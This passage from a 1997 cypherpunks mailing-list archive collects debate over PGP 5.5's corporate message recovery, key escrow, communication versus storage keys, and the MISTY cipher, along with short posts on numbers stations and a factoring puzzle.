snooping are usually protected via other more traditionnal
mechanisms. Safe, locks, and so on. If you think to locks, which are
often compared to crypto, most people fail to see that locks are not
made to prevent somebody to break in: they are designed to make the
break-in difficult. Your house door lock is probably pickable in a
matter of minutes (standard locks seem to be really easy to pick in the
US, but I digress...). Locks in a bank are not. So, as for crypto,
difficult is replaced by virtually impossible, you have to think twice
before encrypting something: it's the reverse argument, it is so
valuable that I might stand a chance to be unable to recover it ?
This is, of course, purely a storage issue. And I like the idea (Bill
Stewart's ?) of implementing a mechanism which would simply "weaken" the
storage key, so that if it's lost, you can recover the missing part by
brute force. 
I think it's Jon Callas who made a related analogy with a car and what
happens if you have the lost your key: bad example. Suppose you want to
buy a car, and the dealer tells you, I have this new security feature,
unbreakable. Only drawback, if the (unique) key is lost, you can tow
away the car. Well, I won't buy it. Nobody will. (while we are on car
locks, car makers use the same lock on several cars, so if you have an
honda accord, you have a non zero probability of opening a random other
honda accord, albeit very low). Anyway, the car problem is like a
storage problem, and has to be adressed as such. Nothing to do with
securing a (temporary) channel. Somehow, if I was to rent such a car, I
would take it, provided I am no liable if the key is lost ;-). This
because on a short period of time, I won't likely make anything stupid
with that key, and I like the idea that nobody will steal the car while
I am havin dinner. So different situations, different answers.

> Also this is the status quo.  Already the police, or terrorist
> prevention investigators can inflitrate, perform dawn raids, etc. and
> this is as it should be.

Statu quo is fine with me in that respect. Insert the usual quote on
technology and the police state. I tend to think that technologies lead
to brave new world anyway, but at least in brave new world people are
"happier" than in 1984.

                          F.

-- 
Fabrice Planchon                                          (ph) 609/258-6495
Applied Math Program, 210 Fine Hall                      (fax) 609/258-1735







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jonathon <grafolog@netcom.com>
Date: Sun, 19 Oct 1997 23:14:51 +0800
To: Nobuki Nakatuji <bd1011@hotmail.com>
Subject: Re: about MISTY encryption algorithm
In-Reply-To: <19971019042835.2501.qmail@hotmail.com>
Message-ID: <Pine.SUN.3.95.971019144720.29727O-100000@netcom11>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 18 Oct 1997, Nobuki Nakatuji wrote:

> method to maintain security as long as its encryption key (password 
> commonly shared by a sender and a receiver) is kept secret, 

	Translation: The system is secure, only if you have a third route
	that is secure.

> However,possibilities of 
> unauthorized access will increase when the encryption mechanism is made 
> public.

	Translation:  our super secret algorithm is so pathetically weak,
	that anybody reading it, could break it, without using a computer.


> specification changes, and to sacrifice their encryption speed in return 
> for an increased cipher strength to protect against recent decoding 
> methods. 

	Translation:  We decided to go for speed, rather than real
	security.  
	
> encryption technology backed by adequate security. In January 1994, 
> Mitsubishi Electric performed the first successful experiment to decode 

	Translation:  In January 1994, Mitsubishu bought the DES Breaking
	Algorithm, on the black market.   

	Snake Oil Sales people:
	Please apply at Mistubishi Electronic for a job as a drummer. 
	
	Mistubishi Electronic is currently offering fantastic oportunities 
	to fleece sheeple of their money,  with little to no risk to you.

          xan

          jonathon
          grafolog@netcom.com



	The FBI doesn't want to read encrypted documents,
	they want to read YOUR encrypted documents.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fabrice Planchon <fabrice@math.Princeton.EDU>
Date: Mon, 20 Oct 1997 03:32:12 +0800
To: Tim May <tcmay@got.net>
Subject: Re: "First do no harm"
In-Reply-To: <199710181953.UAA00908@server.test.net>
Message-ID: <19971019151704.25165@math.princeton.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Oct 19, 1997 at 10:54:18AM -0700, Tim May wrote:
> I'm not sure the people who wrote the U.S. laws had a clue, either. (Check
> out Dan Bernstein's report in sci.crypt on the latest appeal arguments of
> the government side in his case...the Feds are arguing that the First
> Amendment (to the U.S. Constitution) does not protect speech that may be
> read and acted upon by computers!).

Ohoh. How interesting. But they have to define what they mean by acted
upon computers, and we are back to a technical issue they don't
understand. But does the judge understand this issue better ? If I
recall correctly my CS classes, translating plain english to computer
code is doable, and depending on what rules you use for lexical and
syntaxical issues you would get different codes. Wether you can do
something with it is another issues, of course... Somehow if they follow
this heuristic, they will have to ban speech recognizion software (which
would be bad for me as my research has potential applications exactly
there).

> corporate and institutional purchases. It's not too surprising that the
> security staff at Random Corporation and at the University of Middle
> America want access to all communications...if it were up to them alone
> they'd have video cameras scattered everywhere.

eheh, I had an argument with my local (PU) system administrator, and at
some point he said "and what are all mails coming from cypherpunks
anyway ?" (I hope he reads this one...). So, they are already snooping,
by fear, or because in a moment of boredom, they look at the mail log
(the same way phone operators in the old days were listening to calls, I
guess. Part of human nature)

> And as for the University of Middle America, wait until professors and
> students discover that UMA bought PGP 5.5 Snoopware for Sysadmins and that
> communications with other professors, other employers, etc. will be subject
> to snooping by some low-level security employees.

Somehow, I can play the devil advocate and argue that it would be better
than the current situation where:
1) people don't use encryption at all
2) networks are weakly secured and snooping is easy
3) people use e-mail without thinking it can be snooped, archived, and
reused later, unlike, say, a phone call.

If you tell a professor that any student can easily read his e-mail but
that with this nice pgp5.5 software it will be no longer the case, he
might embrace it readily, even if on the long run and on second thoughts
it might not be a good idea.


> What I expect will happen with CMR and CAK is that employees or professors
> or whatever who really need confidentiality--and their are many valid
> reasons for this--will use either their own products (probably freeware, to
> boot), or will use non-company accounts. The professor at UMA who doesn't
> want administrations snoops monitoring his e-mail will use his AOL or
> Netcom account. As we are already seeing today. If his institution has a
> firewall preventing such services from being connected to (itself a
> hardship), he'll just wait until he gets home and send his sensitive mail
> then.

Somehow, and even if I perfectly agree with you, you forget to see that
while this may be true for professors from, say, CS, Engineering, Math,
it won't be true for others which don't have the technical background to
understand the problems and their solutions. I guess what I am saying is
what seems obvious to you, me, and probably most of the readers is not
the the general public. And the group of all professors at UMA probably
reflects this.
Unfortunatly I don't have any solution to the advertising crypto
problem. My best hope is that within a generation people will understand
the technical issues and the underlying social implications of the way
you make implementations. I fear it might be to late then...

> I advocate KISS, "Keep it Simple, Stupid," for the OpenPGP effort. Let PGP,
> Inc. go off on quixotic crusade to provide snoopware for corporations and
> universitites, and let the market decide.

Yes and no, as I said before it's not clear what the market will decide,
if people who make key buying decisions don't do the right thing. Once
every single university is equipped with pgp5.5, it's not that easy to
go back. And because of their reputation capital, people are more likely
to buy the product blindly. Sounds scary ? I don't believe in
conspiration theory, usually stupidity, ignorance and such are enough to
make bad things happen. And we see it now.

                             F.

-- 
Fabrice Planchon                                          (ph) 609/258-6495
Applied Math Program, 210 Fine Hall                      (fax) 609/258-1735







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mike Ronn" <micron@accessone.com>
Date: Mon, 20 Oct 1997 06:51:40 +0800
To: <cypherpunks@cyberpass.net>
Subject: No Subject
Message-ID: <01bcdcdf$5dc1f020$05373737@igor.im.hou.compaq.com>
MIME-Version: 1.0
Content-Type: text/plain




 


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeffery Walker <jeff@beol.net>
Date: Mon, 20 Oct 1997 06:06:37 +0800
To: cypherpunks@toad.com
Subject: A Math problem related to cryptography
Message-ID: <l03010d00b0702b31bf12@[207.24.223.127]>
MIME-Version: 1.0
Content-Type: text/plain



	I have been working on some math and C++ code to implement it. The
problem relates to a possible new means of factoring.  However, I have run
into a problem which I cannot solve. Indeed it maybe impossible. The
problem is this:

	Find and equation using only multiplication, division, GCD, LCM and
powers (not addition or subtraction) in terms of a and b which is equal to
a+b for all Integers.  If so desired it can be assumed that a and b are
relative primes with a>b.  Note that equivalent problems include but aren't
limited to finding a similar equation for a+1. If other functions such as
logs are required they may be allowed but I would have to look into it.

	To encourage people to answer I am offering $20 for a solution and
$10 for a proof that it is impossible.  I will judge all answers as to the
validity both in terms of actually being correct (or in the case of a proof
a valid argument) and in that they do not use functions such as addition or
subtraction which are not allowed.

Thanks,
Jeff
P.S. I am very interested in joining the coderpunks list as I do program
and am interested in cryptography as related to programming.  If someone
would be kind enough to recommend me I thank you.

+____________________________+
|  Jeffery Walker            |
|  E-mail: jeff@beol.net     |
|  http://web.beol.net/jeff  |
+____________________________+






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Mon, 20 Oct 1997 02:49:02 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <TUFABjnxyW293To/qfp3vQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Throw Misty From The Train        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jean-Francois Avon" <jf_avon@citenet.net>
Date: Mon, 20 Oct 1997 07:18:44 +0800
To: "e$@thumper.vmeng.com" <e$@thumper.vmeng.com>
Subject: Re: Security flaws introduced by "other readers" in CMR
Message-ID: <199710192312.TAA29403@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain




From: Fabrice Planchon <fabrice@math.Princeton.EDU>
To: Adam Back <aba@dcs.ex.ac.uk>
Cc: cypherpunks@cyberpass.net
Subject: Re: Security flaws introduced by "other readers" in CMR


>They do: the title is "Le programme PGP se range", which I unfortunatly
> have know idea of how to translate.

It can be translated by 
 "PGP gets into the groove" 
it "behave itself".  
It finally obtemperate (wether prompted or not).  
It grow's up and become reasonable.
"se ranger" is what you do with your car when a cop car pulls you on the side.  
it gets in line


There is an ambiguity in this expression.  "Se ranger" is usually used for  a transition to an unusual or not approved behaviour to a 
accepted or acceptable behaviour.  It entails a "higher" authority or standard.  This is why I use a much more americanized 
language when I speak in french about civil liberties and related subjects.  The french language almost equate government 
intentions with fatherly love... :-)    Over the years, I found that most French peoples have a feodal attitude with a tendency to almost 
blind veneration of hierarchy.  (flames to dev@nul.con).  I suppose it comes from their History.  In general, if a govt said it, it *has* to 
be good.  It is as if they were trained since young age to surrender their capacity for independent judgment and reason.  And quite 
distressingly, it happens even with extremely intelligent individuals.

OTOH, the uncommon ones that do not exhibit such psycho-epistemological trait tend to be real hot shots, independent type.

I am not French, but Canadian (french) and we often have scrapes with French on this topic.  They tend to trust their govt, unless 
somethings warrant otherwise.  Here in french Canada, we are much more American in that sense.  Notwithstanding what 
trumped-up polls say, we have a much more american-styled opinion.

Ciao

JFA





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 20 Oct 1997 03:19:22 +0800
To: kent@bywater.songbird.com
Subject: Re: why we are arguing for more resistant variants (Re: Is PGP still private?)
In-Reply-To: <19971019100620.06593@bywater.songbird.com>
Message-ID: <199710191815.TAA04506@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin <kent@bywater.songbird.com> writes:
> On Sun, Oct 19, 1997 at 10:25:08AM +0100, Adam Back wrote:
> > Also I must raise the point that it is not a lone stand.  Other people
> > are arguing against PGP Inc's CMR proposal, and are arguing for more
> > GAK resistant variants, and alternatives.  
> 
> Apparently for some internal reason you must raise the point, but it
> is irrelevant.  I said your *proposals* were vaporware, not your
> motivations.  It is, as I have said, a waste of time (and yes, mental
> masturbation) to argue about motivations. 

Motivation is irrelevant.  The road to hell is paved with good
intentions.  All the sides in the argument (except for Freeh and the
USG/NSA) have good intentions (and perhaps even Freeh from his
perspective).  Fooh on good intentions.  Let's keep this discussion
focussed on:

  The design of systems which are hard for governments to abuse in
  introducing GACK

You made one contribution in this area in your last post.  Keep up the
technical contributions, and scenario likelihood evaluations.

> > However the biggest point of all is that: communications keys are more
> > valuable to any attacker (government, unscrupulous little brother, or
> > industrial spy) than storage keys.
> > 
> > I would be interested to see any one willing to burn their
> > reputational capital refuting that simple point.
> 
> *Long term* communication keys.  Nobody is going to burn reputation
> capital on that point because it's obvious, and really doesn't need to
> be argued.  

If it doesn't need to be argued, why does pgp2.x and pgp5.x use long
term communication keys?  Why does pgp5.x then go exacerbate this
problem encouraging use of not one but two long term communications
keys.  Why does it provide recovery methods for long term
communications keys when the stated user requirement is to recover
stored email archives?

ie. the discussion just took this form:

Adam: X is a bad security idea.  X is used in pgp2.x and pgp5.x

Kent: modification Y to pgp5.x doesn't make it any worse

Adam: So?  It's still a bad idea, and here are ways to make it more
      secure, and harder for governments to abuse to boot

Kent: ?  (we're waiting)

Surely the most straight forward way to provide recovery for email
archives is to archive the emails encrypted to a storage-only key,
with this key escrowed in some way?  You then don't need to recover
email in transit -- you don't even have a copy of it.

This is clearly more resistant to government abuse.  Do you disagree?

(The above paragraph is basically all my CDR proposal is .. it seems
straight forward, intuitive, more secure; I went through and countered
your previous objections to worked example #1, you did not reply to
those counter-points).

> Furthermore the point applies just as well to current PGP keys.  The
> *only* additional vulnerabilities of CMR come from 1) the volume of
> data makes it a more interesting target and 2) the management of the
> CMR key(s) may be problematic.

You missed a couple:

3) the goverment will love to get come ask for your CMR key because it
protects all past emailed ciphertext

4) some governments (eg France) will probably ask for one of the CMR
keys to be theirs

> However, in a large organization the management of *user* keys is
> problematic, as well, and management of the CMR key(s), on balance,
> will probably be better.  So the additional vulnerability of CMR comes
> from the fact that it makes a lot of data accessible from one key. 
> This vulnerability could be reduced by having multiple CMR keys -- the
> accounting dept has one, the CEO has one, and it is the same as his
> private key that is not escrowed anywhere, etc etc etc.

Yes.  Several people have suggested this.  Also secret sharing is
being considered by PGP Inc for the next version I think.

> [Is it true that the private key associated with a CMR public key 
> could simply be discarded, rather than escrowed, and everything would 
> still work? -- except that you couldn't recover anything, of course...]

I would think so.  This would argue for updating the CMR
communications key as frequency as is practicable to minimise danger.
(Same argument as update requirements for user communications keys).
Hal Finney discussed this requirement of matching expiry frequency on
comms keys & corresponding CMR keys a few messages back.

> A more interesting argument is as follows: what is the real level of
> security needed for the business communications that will be covered
> by CMR? It seems obvious that the level of security required, on
> average, is really quite low.  Note that businesses send all kinds of
> important documents through regular mail, only protected *gasp* by
> PAPER ENVELOPES. 

This suggests that Tim May is right, and the simplest solution is to
store the decrypted received emails in clear on the disk.  Most of the
companies are in fact storing on disk.

> Anyway, Adam, I anxiously await the paper you are working on that 
> gives the real details of your proposals.  I'm sure it's readability 
> will be vastly improved if you religiously avoid the use of the word 
> GAK :-)

Could you provide a less emotive suitable alternative word which I can
use as a replacement to describe government communications key
grabbing attempts?  GACK is what Carl Ellison proposed as a more
accurate way to express "Goverment Access to Communications Keys" than
terms such as "key escrow", "key recovery", which are government
coined terms.  PGP Inc themselves being mostly cypherpunks and
pro-privacy people use the term GACK also.

GACK seems a pretty good acronym to me, accurate, descriptive.  Are we
getting goverment-correct now as well (as politically-correct)?  So
that we must not use terms which are offensive to governments?

(I will attempt to avoid negative political comments about PGP Inc's
implementation, and phrase in terms of constructive criticisms though,
and perhaps this was your point given my earlier outbursts in this
regard; perhaps you can help proof read for this).

Cheers,

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Irdial-Discs <irdial@irdialsys.win-uk.net>
Date: Mon, 20 Oct 1997 02:38:12 +0800
To: cypherpunks@ssz.com
Subject: Numbers Stations
Message-ID: <3.0.3.32.19971019192709.007d5210@pop3.ibmpcug.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


Numbers Stations: One Time Pad crypto in use over shortwave 
for at least 30 years. See:

http://www.ibmpcug.co.uk/~irdial/conet.htm

and

http://www.ibmpcug.co.uk/~irdial/crackhome.htm

All comments/feedback welcome; we also need some qualified judges for
the second URL, so email us if you want to have some fun.

thanks

Akin Fernandez

Irdial-Discs

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNEpQ+4BwiB5FzDvpAQFdlQP/YsOVevse7fUUgSU+DKI5nWLQrirbNrsE
SVjnZzJDKYxgmIcuov2bJ95vcamPrrJduiuJMlA3/YARb56NlroFhqgSaa9KQ+S3
EMXxYbrv9qaDcIou6CalFsgYL+4qWtPwwskCgGENWMtRw9+OpXVoIOG+fV0N40rW
V2bA/jzLxz4=
=S+4s
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 20 Oct 1997 05:58:35 +0800
To: fabrice@math.Princeton.EDU
Subject: Re: Security flaws introduced by "other readers" in CMR
In-Reply-To: <19971019143216.59535@math.princeton.edu>
Message-ID: <199710191954.UAA05161@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Fabrice Planchon <fabrice@math.Princeton.EDU> writes:
> > >
> > > http://www.lemonde.fr/multimedia/sem4297/textes/act42972.html
> > > 
> > Do they actually mention PGP software, or OpenPGP standard?  Or just
> > the general principle?
> 
> They do: the title is "Le programme PGP se range", which I unfortunatly
> have know idea of how to translate. And then, they say (I loosely
> translate, my english is better than our MISTY friend's, but not perfect
> ;-)
> 
> [translation of discussion of pgp5.5]
>
> So, I certainly agree with you that the proGAK have won, or will. As
> long as they don't enforce the current laws, as an individual I don't
> care. But I fear, as you do, that as soon as you have things like pgp
> 5.5 which are available, they will start saying "use this or go to jail".

There is a precedent for this of sorts in France.  You probably recall
that prior to the netscape 40 bit breaks, there were 3 versions of
netscape:

- 128 bit US only non-exportable
- 40 bit exportable
- no SSL at all -- French version

After Damien Doligez hit the headlines with his first break of 40 bit
SSL, and the other breaks had similar headlines, the French
authorities noticed -- "oh," they thought, "if those cypherpunks can
break it, so can DGSE" -- I understood that from that point on they
allowed 40 bit SSL netscape browsers in France.  (At least someone
reported about this on list).  That Damien himself is French and was
working at a researcher at INRIA(?) of all places only adds to the
irony.  (That Damien had a his PGP key at the bottom of his web page
which must have attracted 100,000s of hits after that also is somewhat
amusing, illegal PGP usage, and no one said a word).

Anyway, my perhaps rude jibe to Jonathan Seybold, PGP Inc's chairman a
few days back that PGP should "make a sales pitch to French DGSE" was
not so far off after all.

Course there is still the export problem.  Perhaps eventually the NSA
and DGSE/SCSSI, CESG/GCHQ will come to some kind of reciprocal
agreement, and then there will be another export exemption in the US
following on from the 56 bit DES exemption for companies which can
demonstrate they are working to a 2 year schedule to have key escrow
built in.

Or perhaps some european competitor will provide pgp5.5 compatible
software to them (with support for multiple CMR keys, something not
yet in pgp5.5, but already accepted without problem, and planned I
gather for the next major release).

> > But, the simple fact is that I think PGP Inc have not evaluated these
> > indirect implications for GAK politics.  This means I think that they
> > have pure intentions.  Unfortunately these pure intentions do not help
> > us if the effect is as I fear: that the result helps the GAKkers to
> > some significant amount.
> 
> I think, but I might be wrong, that they have at least to reasons, which
> have already be given:
> -first, what they did was somehow "easy" (don't jump on me, I don't
> write code !!) to implement within the existing code. This is reflected
> by what W.Geiger said, that anything pgp5.5 does he could do with
> scripts in the old version. Or at least a good part of it.

This is true, it could be done largely with multiple recipient feature
in 2.x.  Bill Stewart and William Geiger and I think PGP's Jon Callas
pointed this out.

However I think that:

a) this is no excuse to actually _implement_ it!

b) PGP implementing this kind of thing encourages others to do so
also as they could become the defacto standards setter (particularly
with this almost certainly going in OpenPGP standard, and PGP defining
the semantics of the CMR either in or outside the standard to be what
they have done in pgp5.5)

c) it sets out the design work for other companies less scrupulous
companies such as TIS, etc. to interoperate marginally more smoothly
with pgp installed base when they implement something even worse
compatible with OpenPGP.

d) the alternative I proposed, or especially Tims alternative are even
simpler if anything to implement

> -second, they don't know what will happen in 12 months, so they cover
> their asses. I hope this isn't true, but it's a matter of personnal
> opinion more than anything else.

Monty Cantsin said this.  I said similar things also, and got shouted
out by PGP Inc people for being rude.

I don't think so, I hope not anyway.

> As I said before, I guess they did it this way by lazyness more than
> anything else. I think your solution requires more thinking, new code,
> and all that sort of things. More brain demanding, in some sense (and
> time consuming, whereas their solution is ready, works, can be sold,
> makes the compagny make profits, and so on). 

It seems somewhat fair enough if it was much more difficult to do that
this might be difficult to acheive within their budget and user
delivery date demands, etc.

But, Tim's proposal to store in clear seems easy enough.

My alternative on top of that is merely to encrypt the mail folder
with pgp -c; they've got all the technology sitting there.  It is only
a simple scripting task.  If I was William Geiger I would say that you
could knock that up over the week end in a few scripts.  I expect I
could too :-) (eg. if I knew emacs elisp, I reckon it would be easy
enough to decrypt the mailbox prior to use, and re-encrypt after use.
Or to do the same on a per message basis after decryption, or for all
messages encrypted or not.  Perhaps I'll have a go at getting Pat
Lopresti to add this for mailcrypt.el v3.5).

The task isn't any harder for them.

It is not a technical objection, or at least I have seen no technical
objections so far.

I think it is purely a privacy objection: they have worked out some
privacy preserving principles, and to enforce them they have come up
with this approach.  The message snooping dangers seem to have been
overlooked, or considered unavoidable trade-offs to achieve their
privacy objectives.  They are simply wrong in this regard.

> So, arguing with political
> arguments doesn't stand a chance against a market driven compagny, be it
> PGP with all its reputation capital. Everybody should concentrate on
> technical issues, and several of these have been pointed out, by you and
> others.

Political arguments stand a better chance with PGP Inc than with most
any other company ... but of course there are limits.

> This is, of course, purely a storage issue. And I like the idea (Bill
> Stewart's ?) of implementing a mechanism which would simply "weaken" the
> storage key, so that if it's lost, you can recover the missing part by
> brute force. 

I think Bill's point was more that you would make recovery harder.
That is you have two ways into the messages: your passphrase, and some
recovery information (a second copy of your private key).  He
suggested that you miss off some bits, to discourage companies from
abusing what was meant to be a disaster recovery system being used as
a storage recovery system.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 20 Oct 1997 11:35:35 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199710200353.WAA06844@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



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     Scientists believe the technique used to create the headless frogs
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 20 Oct 1997 05:42:27 +0800
To: cypherpunks@toad.com
Subject: Re: Revealing individual messages.
Message-ID: <199710192127.XAA23564@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote:

> If you're concerned about Bad Cops planting forged messages on people,
> this won't help - it's easy for them to forge unsigned information also.
> After all, the PGP source code is open, so Bad Cops can add code to
> set the timestamp/sender/etc themselves.  Or they can ignore code,
> and just set their system clock appropriately.

  BC's can also plant secret keys on your machine, along with messages
forged using those keys.
  It is a good idea to keep badly forged messages on your machine, as 
well as badly forged keys. There are many ways to manipulate files and
emails so that discrepancies exist. e.g. - messages with a time-stamp
later than the file date; replies with an earlier time-stamp than the
original message; changing fingerprint on the same key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 20 Oct 1997 07:11:21 +0800
To: ietf-open-pgp@imc.org
Subject: encryption key expiry in pgp5.x
Message-ID: <199710192239.XAA05744@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




What happens in this scenario with pgp5.0, or pgp5.5:

- You have a signature key which you'll keep for say 2 years before
  creating a new one.

- You have a policy of generating new encryption keys every 6 months.

- Your email archives are stored as received still encrypted to your
  public encryption key (I think you have no choice but to do this with
  some of the pgp5.x plugins).

- You expire the key, and securely wipe the private half of the key.
  (An advantage of rekeying in this way is to gain forward secrecy:
  messages gathered by an attacker can no longer be decrypted with
  information you have, but to get the forward secrecy you must
  literally securely wipe the private key).

If you do this, you won't be able to read your old mail folder,
because you no longer have the key it was encrypted to.

Does this imply that you must keep the private key for perpetuity?
(Or at least as long as you want to read old mail archives).

One presumes the same problem applies to CMR recovery keys, they must
also be kept as long as recovery is required, if the user forgets the
password.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Mon, 20 Oct 1997 14:55:37 +0800
To: cypherpunks@Algebra.COM
Subject: Re: why we are arguing for more resistant variants
In-Reply-To: <19971019100620.06593@bywater.songbird.com>
Message-ID: <19971019234203.23585@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Oct 19, 1997 at 07:15:00PM +0100, Adam Back wrote:
> 
> Kent Crispin <kent@bywater.songbird.com> writes:
> > On Sun, Oct 19, 1997 at 10:25:08AM +0100, Adam Back wrote:
> > > Also I must raise the point that it is not a lone stand.  Other people
> > > are arguing against PGP Inc's CMR proposal, and are arguing for more
> > > GAK resistant variants, and alternatives.  
> > 
> > Apparently for some internal reason you must raise the point, but it
> > is irrelevant.  I said your *proposals* were vaporware, not your
> > motivations.  It is, as I have said, a waste of time (and yes, mental
> > masturbation) to argue about motivations. 
> 
> Motivation is irrelevant.

Good.  We agree, and can therefore move on.

> You made one contribution in this area in your last post.  Keep up the
> technical contributions, and scenario likelihood evaluations.
> 
> > > However the biggest point of all is that: communications keys are more
> > > valuable to any attacker (government, unscrupulous little brother, or
> > > industrial spy) than storage keys.
> > > 
> > > I would be interested to see any one willing to burn their
> > > reputational capital refuting that simple point.
> > 
> > *Long term* communication keys.  Nobody is going to burn reputation
> > capital on that point because it's obvious, and really doesn't need to
> > be argued.  
> 
> If it doesn't need to be argued, why does pgp2.x and pgp5.x use long
> term communication keys? 


History.  Backward compatibility.  Time pressures.  And a design for
short term communication keys for email does not yet exist -- not from
you, not from anyone.  [Your CDR proposal uses *long term*
communication keys.]

These seem pretty compelling reasons to me. 

Just because something is desirable doesn't mean it is practical, or 
even possible.  

[...]
> 
> Surely the most straight forward way to provide recovery for email
> archives is to archive the emails encrypted to a storage-only key,
> with this key escrowed in some way?  You then don't need to recover
> email in transit -- you don't even have a copy of it.
> 
> This is clearly more resistant to government abuse.  Do you disagree?
> 
> (The above paragraph is basically all my CDR proposal is .. it seems
> straight forward, intuitive, more secure; I went through and countered
> your previous objections to worked example #1, you did not reply to
> those counter-points).

I did not because you presented it as a throwaway, with statements to
the effect that you already knew it was defective but you were
presenting it anyway.  Besides, in all honesty I did not find your
counterarguments very compelling, and I was content to wait until I 
saw a "real" proposal.  If I have a chance, though, I will go back 
and address that...

BTW, perhaps you remember a fairly long thread sometime back where I 
discussed the pros and cons of a "keysafe" model for data recovery 
keys? 

> > Furthermore the point applies just as well to current PGP keys.  The
> > *only* additional vulnerabilities of CMR come from 1) the volume of
> > data makes it a more interesting target and 2) the management of the
> > CMR key(s) may be problematic.
> 
> You missed a couple:
> 
> 3) the goverment will love to get come ask for your CMR key because it
> protects all past emailed ciphertext
> 
> 4) some governments (eg France) will probably ask for one of the CMR
> keys to be theirs

I include both of those under my number 1.

> > However, in a large organization the management of *user* keys is
> > problematic, as well, and management of the CMR key(s), on balance,
> > will probably be better.  So the additional vulnerability of CMR comes
> > from the fact that it makes a lot of data accessible from one key. 
> > This vulnerability could be reduced by having multiple CMR keys -- the
> > accounting dept has one, the CEO has one, and it is the same as his
> > private key that is not escrowed anywhere, etc etc etc.
> 
> Yes.  Several people have suggested this.  Also secret sharing is
> being considered by PGP Inc for the next version I think.
> 
> > [Is it true that the private key associated with a CMR public key 
> > could simply be discarded, rather than escrowed, and everything would 
> > still work? -- except that you couldn't recover anything, of course...]
> 
> I would think so.  This would argue for updating the CMR
> communications key as frequency as is practicable to minimise danger.
                        ^^^^^^^^^frequently?

?I don't see the connection.  My point was that you can generate a key
pair, throw away the private key, and use the public key as the CMR
key.  Perhaps you could just use random bits in the correct format for
the public key, and never generate a key pair at all.  This would meet
external requirement of having a CMR key, but it would be meaningless,
since the missing private key could never be used to decrypt anything. 
Thus, though externally an organization (say an ISP) would be
complying with a regulation, in fact it would be impossible to 
recover any email anyway...

In any case, I presume the "danger" you refer to is the danger that 
someone will snarf the CMR key.  Changing it frequently will reduce 
the number of compromised messages if any given key is compromised.  
(Of course, the CMR keys will have to be preserved forever in a 
little database of some sort -- if you change them often, that 
database will be large...)

> (Same argument as update requirements for user communications keys).
> Hal Finney discussed this requirement of matching expiry frequency on
> comms keys & corresponding CMR keys a few messages back.

> 
> > A more interesting argument is as follows: what is the real level of
> > security needed for the business communications that will be covered
> > by CMR? It seems obvious that the level of security required, on
> > average, is really quite low.  Note that businesses send all kinds of
> > important documents through regular mail, only protected *gasp* by
> > PAPER ENVELOPES. 
> 
> This suggests that Tim May is right, and the simplest solution is to
> store the decrypted received emails in clear on the disk.  Most of the
> companies are in fact storing on disk.

It is the MUA that uses PGP (Eudora, Mutt, whatever) that decides how
to store the decrypted files, not PGP.  PGP decrypts the files and
gives them to the MUA, which displays them to the user.  The MUA has
the option of storing it encrypted or not, as delivered, or with 
another key.  PGP isn't in control, it's the MUA, isn't it?

> > Anyway, Adam, I anxiously await the paper you are working on that 
> > gives the real details of your proposals.  I'm sure it's readability 
> > will be vastly improved if you religiously avoid the use of the word 
> > GAK :-)
> 
> Could you provide a less emotive suitable alternative word which I can
> use as a replacement to describe government communications key
> grabbing attempts?  GACK is what Carl Ellison proposed as a more
> accurate way to express "Goverment Access to Communications Keys" than
